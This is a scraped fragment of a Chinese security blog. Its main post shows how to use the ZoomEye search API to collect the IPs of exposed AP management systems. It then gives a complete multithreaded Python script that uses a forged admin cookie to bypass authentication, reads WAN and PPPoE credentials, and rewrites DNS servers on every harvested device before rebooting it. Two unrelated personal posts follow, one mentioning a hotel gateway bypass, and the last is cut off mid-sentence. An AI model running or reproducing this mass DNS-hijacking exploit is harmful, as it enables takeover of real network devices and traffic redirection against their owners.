n<h2>\r\n\t\u5b9e\u6218\r\n</h2>\r\n<p>\r\n\t\u8fd9\u91cc\u6211\u4f7f\u7528\u4e00\u4e2a\u5b9e\u9645\u6848\u4f8b\u8fdb\u884c\u8bf4\u660eZoomEye\u7684\u7528\u6cd5\u3002\u5f00\u59cb\u4e4b\u524d\u6211\u5047\u5b9a\u4f60\u5df2\u7ecf\u6ce8\u518c\u8d26\u53f7\u5e76\u9a8c\u8bc1\u4e86\u90ae\u7bb1\uff0c\u8fd9\u4e9b\u524d\u671f\u7684\u5de5\u4f5c\u662f\u5fc5\u5907\u7684\uff0c\u7531\u4e8e\u6bcf\u4e2a\u8d26\u53f7\u7684\u521d\u59cb\u9650\u989d\u4e3a5000\uff0c\u6bcf\u4e00\u6b21\u67e5\u8be2\u90fd\u5c06\u6d88\u8017\u989d\u5ea6\uff0c\u8bf7\u614e\u91cd\u4f7f\u7528\uff0c\u5f53\u7136\uff0c\u4f60\u4f9d\u7136\u53ef\u4ee5\u6ce8\u518cN\u4e2a\u8d26\u53f7\uff0c\u5173\u4e8e\u67e5\u8be2\u8fd4\u56de\u7684\u7ed3\u679c\u4e0a\u9650\u662f\u591a\u5c11\uff0c\u8bf7\u81ea\u884c\u67e5\u770b\u5b98\u7f51\u76f8\u5173\u8bf4\u660e\u3002\r\n</p>\r\n<h3>\r\n\t0x00\r\n</h3>\r\n<p>\r\n\t\u535a\u4e3b\u62ff\u4e4b\u524d\u5199\u8fc7\u7684\u4e00\u4e2a\u6f0f\u6d1e\u8fdb\u884c\u6d4b\u8bd5\uff0c\u6f0f\u6d1e\u8be6\u60c5\u5728\u8fd9\u91cc\uff0c\u4f20\u9001\u95e8\u201c<a href=\"http://www.92ez.com/?action=show&id=23416\" target=\"_blank\">\u67d0AP\u7ba1\u7406\u7cfb\u7edf\u6743\u9650\u7ed5\u8fc7</a>\u201d\uff0c\u8fd9\u4e2a\u6f0f\u6d1e\u7684\u5229\u7528\u65b9\u6cd5\u6bd4\u8f83\u7b80\u5355\uff0c\u6f0f\u6d1e\u7c7b\u578b\u4e3a\u6743\u9650\u7ed5\u8fc7\u3002\u5f00\u59cb\u4e4b\u524d\u5148\u6839\u636eZoomEye\u5b98\u65b9\u7684API\u6587\u6863\u83b7\u53d6key\uff0c\u9996\u5148\u62ff\u5230Token\uff0c\u5728\u6240\u6709\u7684\u8bf7\u6c42\u4e2d\u5fc5\u987b\u5e26\u4e0aToken\u624d\u80fd\u5b8c\u6210\u8bf7\u6c42\uff0cPython\u4ee3\u7801\u5982\u4e0b\r\n</p>\r\n<pre class=\"brush:py;\">def getAccessToken():\r\n loginURL = 'https://api.zoomeye.org/user/login'\r\n user_data = json.dumps({\"username\": \"xxx@gmail.com\", \"password\": \"xxxxxx\"})\r\n try:\r\n return json.loads(requests.post(url=loginURL, data=user_data).text)['access_token']\r\n except Exception, e:\r\n print e</pre>\r\n<p>\r\n\t\u5b9a\u4e49\u4e00\u4e2a\u65b9\u6cd5\u6765\u83b7\u53d6Token\u65b9\u4fbf\u4f7f\u7528\uff0c\u5168\u5c40\u53ea\u9700\u8981\u6267\u884c\u4e00\u6b21\u5373\u53ef\u3002\r\n</p>\r\n<p>\r\n\t\u62ff\u5230Token\u4e4b\u540e\u54b1\u4eec\u5148\u67e5\u8be2\u4e0b\u5f53\u524d\u8d26\u53f7\u7684\u989d\u5ea6\u5269\u591a\u5c11\uff0c\u6ca1\u6709\u989d\u5ea6\u7684\u8bdd\u53bb\u67e5\u8be2\u662f\u4e0d\u4f1a\u8fd4\u56de\u7ed3\u679c\u7684\uff0c\u6240\u4ee5\u518d\u5b9a\u4e49\u4e00\u4e2a\u65b9\u6cd5\u83b7\u53d6\u989d\u5ea6\u6570\u91cf\r\n</p>\r\n<pre class=\"brush:py;\">def queryCount():\r\n resourceURL = 'https://api.zoomeye.org/resources-info'\r\n try:\r\n zoomeyeResult = json.loads(requests.get(url=resourceURL, headers=HEADERS).text)\r\n return zoomeyeResult['resources']['host-search'], zoomeyeResult['resources']['web-search']\r\n except Exception, e:\r\n print e</pre>\r\n<p>\r\n\t\u786e\u5b9a\u8d26\u53f7\u53ef\u7528\u7684\u60c5\u51b5\u4e0b\u5c31\u53ef\u4ee5\u7ee7\u7eed\u8fdb\u884c\u67e5\u8be2\u64cd\u4f5c\u4e86\uff0c\u8fd9\u91cc\u9700\u8981\u6ce8\u610f\u7684\u662f\u5728\u53d1\u51fa\u8bf7\u6c42\u7684\u65f6\u5019\u5fc5\u987b\u5e26\u4e0aheaders\uff0c\u8fd9\u4e2a\u662f\u5b98\u65b9\u6587\u6863\u89c4\u5b9a\u7684\u8ba4\u8bc1\u65b9\u5f0f\uff0c\u6bd4\u5982\u6211\u8fd9\u91cc\u7684\u4ee3\u7801\u662f\u8fd9\u6837\u7684\r\n</p>\r\n<pre class=\"brush:py;\">HEADERS = {\"Authorization\": \"JWT \" + getAccessToken()}</pre>\r\n<p>\r\n\t\u5b9a\u4e49\u4e86\u5168\u5c40\u7684\u53d8\u91cf\u3002\r\n</p>\r\n<h3>\r\n\t0x01\r\n</h3>\r\n<p>\r\n\t\u5b9a\u4e49\u4e00\u4e2azoomeyeSearch\u65b9\u6cd5\u8fdb\u884c\u68c0\u7d22\uff0c\u4ee3\u7801\u5982\u4e0b\r\n</p>\r\n<pre class=\"brush:py;\">def zoomeyeSearch(keyword):\r\n searchURL = 'https://api.zoomeye.org/host/search?query=' + keyword\r\n try:\r\n zoomeyeBase = requests.get(url=searchURL, headers=HEADERS).text\r\n pagecount = int(math.ceil(json.loads(zoomeyeBase)['total']/3/10.0))\r\n urls = []\r\n for page in range(1, pagecount + 1):\r\n urls.append('https://api.zoomeye.org/host/search?query=' + keyword + '&page=' + str(page))\r\n MyThread(urls)\r\n except Exception, e:\r\n print e\r\n</pre>\r\n<p>\r\n\t\u8fd9\u4e2a\u65b9\u6cd5\u91cc\u9762\u9700\u8981\u4f20\u5165\u68c0\u7d22\u7684\u5173\u952e\u5b57\uff0c\u6839\u636e\u5b98\u65b9\u6587\u6863\uff0c\u8fd9\u91cc\u8fd4\u56de\u7ed3\u679c\u662f\u5177\u6709\u5206\u9875\u529f\u80fd\u7684\uff0c\u6240\u4ee5\u9700\u8981\u5bf9\u8fd4\u56de\u7684\u6570\u91cf\u8fdb\u884c\u5206\u9875\uff0c\u666e\u901a\u8d26\u53f7\u53ea\u80fd\u5f97\u5230\u6240\u6709\u7ed3\u679c\u7684\u4e09\u5206\u4e4b\u4e00\uff0c\u4e0a\u9650\u4e00\u4e07\u6761\u3002\u8fd9\u4e2a\u65b9\u6cd5\u53ea\u662f\u4e3a\u4e86\u5f97\u5230\u68c0\u7d22\u7684\u5177\u4f53\u5206\u9875\u540e\u7684\u94fe\u63a5\uff0c\u7136\u540e\u628a\u5206\u9875\u94fe\u63a5\u7684\u6570\u7ec4\u4f20\u5165\u83b7\u53d6\u6570\u636e\u7684\u65b9\u6cd5\uff0c\u5f53\u524d\u8fd8\u6ca1\u6709\u5f97\u5230\u5177\u4f53\u7684\u6570\u636e\u3002\r\n</p>\r\n<p>\r\n\t\u54b1\u4eec\u9700\u8981\u4f20\u5165\u7684\u5173\u952e\u5b57\u662f\u201clighttpd/1.4.23 port:9000\u201d\uff0c\u76f4\u63a5\u4f20\u5165\u5c31\u597d\u4e86\u3002\r\n</p>\r\n<h3>\r\n\t0x02\r\n</h3>\r\n<p>\r\n\t\u4e3a\u4e86\u589e\u52a0\u68c0\u7d22\u7684\u901f\u5ea6\uff0c\u6211\u8fd9\u91cc\u52a0\u4e0a\u4e86\u591a\u7ebf\u7a0b\uff0c\u8fd9\u6837\u901f\u5ea6\u5c31\u975e\u5e38\u5feb\u4e86\u3002\r\n</p>\r\n<pre class=\"brush:py;\">def MyThread(urllist):\r\n threads = []\r\n queue = Queue.Queue()\r\n for host in urllist:\r\n queue.put(host)\r\n\r\n for x in xrange(0, 10):\r\n threads.append(tThread(queue))\r\n\r\n for t in threads:\r\n t.start()\r\n for t in threads:\r\n t.join()\r\n\r\n\r\n# create thread\r\nclass tThread(threading.Thread):\r\n def __init__(self, queue):\r\n threading.Thread.__init__(self)\r\n self.queue = queue\r\n\r\n def run(self):\r\n\r\n while not self.queue.empty():\r\n url = self.queue.get()\r\n try:\r\n getDataByURL(url)\r\n except:\r\n continue</pre>\r\n<p>\r\n\t\u8fd9\u91cc\u54b1\u4eec\u770b\u5230\u591a\u7ebf\u7a0b\u8c03\u7528\u7684\u65b9\u6cd5\u4e3agetDataByURL\uff0c\u8fd9\u4e2a\u65b9\u6cd5\u5c31\u662f\u6839\u636e\u4f20\u5165\u7684URL\u83b7\u53d6\u6bcf\u4e00\u9875\u7684\u5177\u4f53\u6570\u636e\uff0c\u4ee3\u7801\u5982\u4e0b\r\n</p>\r\n<pre class=\"brush:py;\">def getDataByURL(pageURL):\r\n try:\r\n zoomeyeResult = json.loads(requests.get(url=pageURL, headers=HEADERS).text)\r\n try:\r\n matches = zoomeyeResult['matches']\r\n for item in matches:\r\n tempHost = 'http://' + item['ip'] + ':' + str(item['portinfo']['port'])\r\n SEARCHLIST.append(tempHost)\r\n print tempHost\r\n except:\r\n pass\r\n except Exception, e:\r\n print e</pre>\r\n\u7136\u540e\u628a\u6240\u6709\u7684\u7ed3\u679c\u6570\u636e\u5b58\u5165\u5230\u6570\u636e\uff0c\u6700\u540e\u628a\u68c0\u7d22\u51fa\u6765\u7684IP\u4fe1\u606f\u5199\u5165\u5230\u6587\u672c\u6587\u4ef6\u4f9b\u81ea\u52a8\u5316\u6d4b\u8bd5\u811a\u672c\u4f7f\u7528\uff0c\u5f53\u7136\u8fd9\u91cc\u4e5f\u53ef\u4ee5\u76f4\u63a5\u8c03\u7528\u81ea\u52a8\u5316\u6d4b\u8bd5\u4ee3\u7801\uff0c\u4e3a\u4e86\u65b9\u4fbf\uff0c\u6211\u8fd8\u662f\u5199\u5165\u5230\u6587\u672c\u6bd4\u8f83\u4fdd\u9669\uff0c\u4ee5\u540e\u8fd8\u53ef\u4ee5\u62ff\u6765\u7528\r\n<pre class=\"brush:py;\"> with open(localPath, 'wb') as f:\r\n for host in SEARCHLIST:\r\n f.write(host + '\\n')\r\n f.flush()\r\n f.close()</pre>\r\n<h3>\r\n\t0x03\r\n</h3>\r\n<p>\r\n\t\u4e0b\u9762\u5c31\u662f\u6bd4\u8f83\u5173\u952e\u7684\u653b\u51fb\u6d4b\u8bd5\u4ee3\u7801\u7684\u90e8\u5206\uff0c\u539f\u7406\u6211\u5728\u4e4b\u524d\u7684\u6587\u7ae0\u4e2d\u5c31\u63d0\u5230\u4e86\uff0c\u4e0d\u518d\u8bb2\u539f\u7406\uff0c\u8fd9\u91cc\u76f4\u63a5\u8d34\u51fa\u6765\u5b8c\u6574\u7684\u653b\u51fb\u6d4b\u8bd5\u4ee3\u7801\uff0c\u8fd9\u6bb5\u4ee3\u7801\u5b9e\u73b0\u4e86\u6279\u91cf\u4fee\u6539DNS\u5730\u5740\u6548\u679c\uff0c\u5b8c\u6574\u4ee3\u7801\u5982\u4e0b\r\n</p>\r\n<pre class=\"brush:py;\">#!/usr/bin/env python\r\n# coding=utf-8\r\n# 92ez.com\r\n\r\nimport threading\r\nimport requests\r\nimport Queue\r\nimport json\r\nimport sys\r\n\r\nreload(sys)\r\nsys.setdefaultencoding('utf8')\r\n\r\n\r\ndef MyThread(iplist):\r\n\r\n threads = []\r\n queue = Queue.Queue()\r\n for host in iplist:\r\n queue.put(host)\r\n\r\n for x in xrange(0, int(SETTHREAD)):\r\n threads.append(tThread(queue))\r\n\r\n for t in threads:\r\n t.start()\r\n for t in threads:\r\n t.join()\r\n\r\n\r\nclass tThread(threading.Thread):\r\n def __init__(self, queue):\r\n threading.Thread.__init__(self)\r\n self.queue = queue\r\n\r\n def run(self):\r\n\r\n while not self.queue.empty():\r\n host = self.queue.get()\r\n try:\r\n setAPDNS(host + ':9000')\r\n except:\r\n continue\r\n\r\n\r\ndef setAPDNS(host):\r\n print host\r\n url_base = host + \"/wan.cgi\"\r\n url_reboot = host + \"/reboot.cgi\"\r\n cookie = {\"disabled_length\": \"0\", \"guide0\": \"wan\", \"guide1\": \"cloud\", \"guide2\": \"passwd\", \"guide3\": \"complete\", \"guide_length\": \"4\", \"locale\": \"cn\", \"salt\": \"YWRtaW4=\", \"username\": \"admin\"}\r\n setParams = {}\r\n try:\r\n result_base = json.loads(requests.get(url=url_base, cookies=cookie, timeout=15).content)\r\n\r\n if len(result_base['data']['wan_mode']) > 0:\r\n\r\n if result_base['data']['wan_mode'] == 'STATIC':\r\n setParams = {\r\n \"wan_mode\": result_base['data']['wan_mode'],\r\n \"ip\": result_base['data']['wan_info']['ip'],\r\n \"mask\": result_base['data']['wan_info']['mask'],\r\n \"gateway\": result_base['data']['wan_info']['gateway'],\r\n \"pri_dns\": DNS1,\r\n \"alt_dns\": DNS2,\r\n \"cfg1xclient_enable\": result_base['data']['wan_info']['cfg1xclient_enable'],\r\n \"cfg1xclient_username\": result_base['data']['wan_info']['cfg1xclient_username'],\r\n \"cfg1xclient_password\": result_base['data']['wan_info']['cfg1xclient_password'],\r\n \"vlan\": result_base['data']['wan_info']['vlan']\r\n }\r\n elif result_base['data']['wan_mode'] == 'PPPOE':\r\n setParams = {\r\n \"wan_mode\": result_base['data']['wan_mode'],\r\n \"pppoe_password\": result_base['data']['wan_info']['pppoe_password'],\r\n \"pppoe_username\": result_base['data']['wan_info']['pppoe_username'],\r\n \"cfg1xclient_enable\": result_base['data']['wan_info']['cfg1xclient_enable'],\r\n \"cfg1xclient_username\": result_base['data']['wan_info']['cfg1xclient_username'],\r\n \"cfg1xclient_password\": result_base['data']['wan_info']['cfg1xclient_password'],\r\n \"pri_dns\": DNS1,\r\n \"alt_dns\": DNS2\r\n }\r\n else:\r\n setParams = {\r\n \"wan_mode\": result_base['data']['wan_mode'],\r\n \"ip\": result_base['data']['wan_info']['ip'],\r\n \"mask\": result_base['data']['wan_info']['mask'],\r\n \"gateway\": result_base['data']['wan_info']['gateway'],\r\n \"cfg1xclient_enable\": result_base['data']['wan_info']['cfg1xclient_enable'],\r\n \"cfg1xclient_username\": result_base['data']['wan_info']['cfg1xclient_username'],\r\n \"cfg1xclient_password\": result_base['data']['wan_info']['cfg1xclient_password'],\r\n \"vlan\": result_base['data']['wan_info']['vlan'],\r\n \"pri_dns\": DNS1,\r\n \"alt_dns\": DNS2\r\n }\r\n\r\n setResult = json.loads(requests.post(url=url_base, cookies=cookie, data=setParams).content)\r\n if setResult['status'] == 'OK':\r\n rebootRes = json.loads(requests.post(url=url_reboot, cookies=cookie).text)\r\n if rebootRes['status'] == 'OK':\r\n print host + ' wan_mod: ' + result_base['data']['wan_mode'] +' SET DNS OK!'\r\n\r\n except Exception, e:\r\n pass\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n global SETTHREAD\r\n global DNS1\r\n global DNS2\r\n\r\n SETTHREAD = sys.argv[1]\r\n DNS1 = '114.114.114.114'\r\n DNS2 = '8.8.8.8'\r\n\r\n iplist = []\r\n try:\r\n file = open(sys.path[0] + \"/host.txt\")\r\n for line in file:\r\n iplist.append(line.replace('\\n', ''))\r\n file.close()\r\n MyThread(iplist)\r\n except Exception, e:\r\n print e\r\n</pre>\r\n\u4ee3\u7801\u4e5f\u52a0\u5165\u4e86\u591a\u7ebf\u7a0b\u7684\u6548\u679c\u3002\r\n<h3>\r\n\t0x04\r\n</h3>\r\n<p>\r\n\t\u5177\u4f53\u622a\u56fe\u5c31\u4e0d\u653e\u51fa\u6765\u4e86\uff0c\u6d89\u53ca\u5230\u4e00\u4e9b\u6bd4\u8f83\u654f\u611f\u7684IP\u5730\u5740\u4fe1\u606f\uff0c\u672c\u6587\u53ea\u63d0\u4f9b\u4e00\u4e2a\u601d\u8def\uff0c\u8bfb\u8005\u6d4b\u8bd5\u8bf7\u81ea\u89c9\u9075\u5faa\u76f8\u5173\u6cd5\u5f8b\u6cd5\u89c4\u3002\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23436 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u56de\u5bb6\u8fc7\u5e74\u4f4f\u6c49\u5ead"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-01-24, 11:49 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u968f\u624b\u8bb0", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u80cc\u666f\r\n</h2>\r\n<p>\r\n\t\u53bb\u5e74\u4f4f\u7684\u65f6\u5019\u8fd8\u633a\u4e0d\u9519\uff0c\u7a7a\u8c03\u53ef\u4ee5\u5236\u70ed\uff0c\u6bd5\u7adf\u65b0\u5f00\u7684\uff0c\u88c5\u4fee\u65b0\uff0c\u800c\u4e14\u4ef7\u683c\u4e0d\u8d35\uff0c\u5c31\u662f\u504f\u50fb\u4e86\u70b9\u3002\r\n</p>\r\n<p>\r\n\t\u4eca\u5e74\u672c\u6765\u6253\u7b97\u5b9a7\u5929\u7684\uff0c\u4f46\u662f\u4e00\u770b\u6625\u8282\u671f\u95f4\u7684\u4ef7\u683c\u7ffb\u4e86\u4e00\u500d\uff0c\u800c\u6c49\u5ead\u6ca1\u6709\u6da8\u4ef7\uff0c\u7136\u800c......\u662f\u6211\u592a\u5e74\u8f7b\r\n</p>\r\n<h2>\r\n\t\u95ee\u9898\r\n</h2>\r\n<p>\r\n\t\u9996\u5148\u662f\u62bc\u91d1\u95ee\u9898\uff0c\u53bb\u5e74\u4f4f\u7684\u65f6\u5019\u662f\u7528\u7684\u963f\u91cc\u65c5\u884c\u7684\u4fe1\u7528\u4f4f\uff0c\u5f53\u7136\u662f\u514d\u62bc\u91d1\u3002\u4eca\u5e74\u540c\u6837\u7528\u7684\u4fe1\u7528\u4f4f\uff0c\u88ab\u544a\u77e5\u9700\u8981100\u62bc\u91d1\u3002\u6211\u77ac\u95f4\u5c31\u61f5\u903c\u4e86\uff0c\u4ee5\u524d\u4e0d\u8981\u7684\u554a\uff0c\u518d\u8bf4\u4e86\uff0c\u6211\u7279\u4e48\u521a\u4e0b\u706b\u8f66\uff0c\u5728\u8fd9\u4e48\u504f\u50fb\u7684\u5730\u65b9\u8fde\u4e2a\u94f6\u884c\u90fd\u6ca1\u6709\uff0c\u8eab\u4e0a\u6ca1\u6709\u73b0\u91d1\uff0c\u95ee\u80fd\u4e0d\u80fd\u5237\u5361\uff0c\u524d\u53f0\u8bf4\u62bc\u91d1\u4e0d\u80fd\u5237\u5361\uff0c\u4e0d\u80fd\u652f\u4ed8\u5b9d\uff0c\u4e0d\u80fd\u5fae\u4fe1...\r\n</p>\r\n<p>\r\n\t\u597d\u561b...\u95ee\u524d\u53f0\u54ea\u91cc\u6709\u94f6\u884c\uff0c\u524d\u53f0\u8868\u793a\u61f5\u903c...\u6700\u540e\u524d\u53f0\u8bf4\u7559\u4e2a\u624b\u673a\u53f7\u7801\u4e5f\u884c\uff0c\u597d\uff0c\u603b\u7b97\u662f\u4f4f\u8fdb\u6765\u4e86\uff0c\u5927\u665a\u4e0a\u7684\u51bb\u6b7b\u4e86\u5feb\u3002\r\n</p>\r\n<p>\r\n\t\u62ff\u4e86\u623f\u5361\u628a\u7a7a\u8c03\u770b\u8d77\u6765\uff0c\u7136\u800c\uff0c\u7a7a\u8c03\u5e76\u6ca1\u6709\u5236\u70ed\u529f\u80fd\uff0c\u6211\u64e6\u561e\uff0c\u53bb\u5e74\u6709\u554a...\u597d\uff0c\u5173\u597d\u7a97\u6237\u8fd8\u7b97\u51d1\u5408\uff0c\u6bd5\u7adf\u81ea\u5df1\u8863\u670d\u7a7f\u7684\u591a\u3002\r\n</p>\r\n<p>\r\n\t\u60f3\u53bb\u6d17\u628a\u8138\uff0c\u53d1\u73b0\u7279\u55b5\u7684\u6ca1\u70ed\u6c34\uff1f\u9017\u6211\u5417\uff1f\u628a\u536b\u751f\u95f4\u7684\u6dcb\u6d74\u5f00\u8d77\u6765\u653e\u4e865\u5206\u949f\u4f9d\u7136\u8fd8\u662f\u51b0\u6c34....\u8fd9....\u96be\u9053\u5927\u51ac\u5929\u7684\u6211\u8981\u6d17\u51b7\u6c34\u6fa1\u5417\uff1f\r\n</p>\r\n<p>\r\n\t\u7535\u8bdd\u5230\u524d\u53f0\u95ee\u8fd9\u5bb6\u9152\u5e97\u662f\u4e0d\u662f\u4e0d\u63d0\u4f9b\u70ed\u6c34\uff08\u60f3\u7740\u8981\u4e48\u6362\u4e2a\u623f\u95f4\uff0c\u8981\u4e48\u9000\u623f...\uff09\u3002\u524d\u53f0\u544a\u77e5\u8bf4\u521a\u521a\u53eb\u4eba\u53bb\u4fee\u4e86....\u6211\u64e6\u561e....\r\n</p>\r\n<p>\r\n\t\u597d\uff0c\u7b49\u4e86\u534a\u4e2a\u5c0f\u65f6\u53bb\u5f00\u7ec8\u4e8e\u6709\u4e86\u70ed\u6c34....\r\n</p>\r\n<p>\r\n\t\u770b\u4e86\u4f1a\u7535\u89c6\uff0c\u60f3\u5237\u4e0b\u670b\u53cb\u5708\u4ec0\u4e48\u7684\uff0c\u8fde\u4e0awifi\u53d1\u73b0\u7f51\u901f\u5947\u6162\u65e0\u6bd4\uff0c\u56fe\u90fd\u51fa\u4e0d\u6765\uff0c\u60f3\u6109\u5feb\u7684\u53d1\u4e2a\u56fe\u88c5\u4e2a\u903c\u90fd\u4e0d\u884c\uff0c\u6012\u5f00\u7b14\u8bb0\u672c\uff0c\u7136\u540e...\r\n</p>\r\n<p>\r\n\tBypass Ruijie EG2000CE For Hanting...\r\n</p>\r\n<h2>\r\n\t\u622a\u56fe\r\n</h2>\r\n<p>\r\n\t</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=532\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201702/f5de7a85f7944e5f3397c50784d5af2f.png\" alt=\"webwxgetmsgimg.png - \u5927\u5c0f: 102.94 KB - \u5c3a\u5bf8: 1355 x 310 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"206\"></a></div>\r\n\r\n<h2>\r\n\t\u603b\u7ed3<br>\r\n</h2>\r\n<p>\r\n\t\u6211\u53ef\u80fd\u4f4f\u7684\u662f\u5047\u6c49\u5ead....\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23435 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u5f88\u4e45\u6ca1\u5199\u6587\u4e86\uff0c\u53d1\u4e2a\u6587\u8bc1\u660e\u6211\u8fd8\u5728"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-01-09, 12:26 AM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u968f\u624b\u8bb0", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\t\u8ddd\u79bb\u4e0a\u4e00\u7bc7\u535a\u6587\u5df2\u7ecf\u8fc7\u53bb\u4e24\u4e2a\u591a\u6708\u4e86\uff0c\u5de5\u4f5c\u786e\u5b9e\u7e41\u5fd9\uff0c\u6709\u65f6\u5019\u7814\u7a76\u4e00\u4e2a\u4e1c\u897f\u771f\u5fc3\u8017\u65f6\u95f4\uff0c\u4e00\u770b\u5c31\u662f\u4e24\u4e2a\u6708\uff0c\u82e6\u903c\u7684\u7a0b\u5e8f\u733f\uff0c\u82e6\u903c\u7684\u751f\u6d3b\u3002\u4e0d\u8fc7\u6536\u83b7\u8fd8\u662f\u86ee\u591a\u7684\uff0c\u6bd5\u7adf\u4e00\u5757\u786c\u9aa8\u5934\uff0c\u5543\u8fc7\u4e00\u904d\u81ea\u7136\u5b66\u5230\u4e0d\u5c11\u59ff\u52bf\u3002\r\n</p>\r\n<h2>\r\n\t\u8bf4\u6b63\u7ecf\u7684\r\n</h2>\r\n<p>\r\n\t\u8fd9\u4e24\u4e2a\u6708\u7814\u7a76\u4e00\u4e2a\u81ea\u5df1\u4e4b\u524d\u4ece\u6765\u6ca1\u6709\u5f04\u8fc7\u7684\u4e1c\u897f\uff0c\u5177\u4f53\u662f\u5565\u5c31\u4e0d\u8bf4\u4e86\uff0c\u4e5f\u7b97\u662f\u4e2a\u673a\u5bc6\u4e86\u3002\r\n</p>\r\n<p>\r\n\t\u5076\u5c14\u4e0a\u6765\u770b\u4e0b\u670b\u53cb\u7684\u7559\u8a00\uff0c\u8fd8\u6709\u4e00\u4e9b\u670b\u53cb\u4eec\u53d1\u6765\u7684\u90ae\u4ef6\uff0c\u57fa\u672c\u4e0a\u90fd\u6709\u56de\u590d\uff0c\u6709\u4e00\u4e9b\u90ae\u4ef6\u5b9e\u5728\u4e0d\u77e5\u5982\u4f55\u56de\u590d\u7684...\u6055\u6211\u65e0\u80fd\u4e3a\u529b...\r\n</p>\r\n<p>\r\n\t\u8bf4\u8bf4\u4eca\u5929\u535a\u4e3b\u6211\u9047\u5230\u7684\u4e00\u4ef6\u4e8b\u5427\u3002\r\n</p>\r\n<h2>\r\n\t\u6b63\u4e8b<br>\r\n</h2>\r\n<p>\r\n\t\u535a\u4e3b\u4eca\u5929\u4e0b\u5348\u5728\u6e56\u8fb9\u95f2\u901b\uff0c\u53d1\u73b0\u6709\u4e2a\u7a7f\u7740\u6821\u670d\u770b\u4f3c\u4e00\u4e2a\u521d\u4e2d\u7684\u5973\u5b66\u751f\u5728\u5356\u5531\uff0c\u65c1\u8fb9\u7ad6\u7740\u4e00\u4e2a\u724c\u5b50\uff0c\u5199\u7684\u5185\u5bb9\u4f30\u8ba1\u5927\u5bb6\u90fd\u77e5\u9053\uff0c\u90fd\u662f\u4ec0\u4e48\u6551\u7236\u6551\u6bcd\u4e4b\u7c7b\u7684\uff0c\u771f\u7684\u5047\u7684\u4e5f\u65e0\u4ece\u8003\u8bc1\u3002\r\n</p>\r\n<p>\r\n\t\u535a\u4e3b\u6211\u5f53\u65f6\u633a\u597d\u5947\u7684\uff0c\u4e00\u4e2a\u5973\u5b66\u751f\uff0c\u7a7f\u7684\u6821\u670d\u4e0a\u8fde\u6821\u5fbd\u90fd\u6ca1\u6709\uff0c\u770b\u4e0d\u51fa\u6765\u662f\u54ea\u4e2a\u5b66\u6821\u7684\uff0c\u5531\u6b4c\u4e5f\u633a\u597d\u542c\uff0c\u957f\u5f97\u8fd8\u633a\u6e05\u79c0\uff0c\u65f6\u4e0d\u65f6\u4e5f\u6709\u8def\u4eba\u4f1a\u53bb\u7ed9\u94b1\u3002\u770b\u5230\u8fd9\u91cc\u5176\u5b9e\u6211\u8fd8\u6ca1\u6709\u6ce8\u610f\u5230\u4ec0\u4e48\u5f02\u5e38\uff0c\u5c31\u5728\u9644\u8fd1\u627e\u4e86\u4e2a\u5730\u65b9\u5750\u4e0b\u6765\u542c\u3002\r\n</p>\r\n<h2>\r\n\t\u5f02\u5e38\r\n</h2>\r\n<p>\r\n\t\u8fc7\u4e86\u4e00\u4f1a\u6211\u53d1\u73b0\u6709\u70b9\u4e0d\u5bf9\uff0c\u4e3a\u4ec0\u4e48\u8fd9\u4e48\u8bf4\u5462\uff1f\u6309\u7167\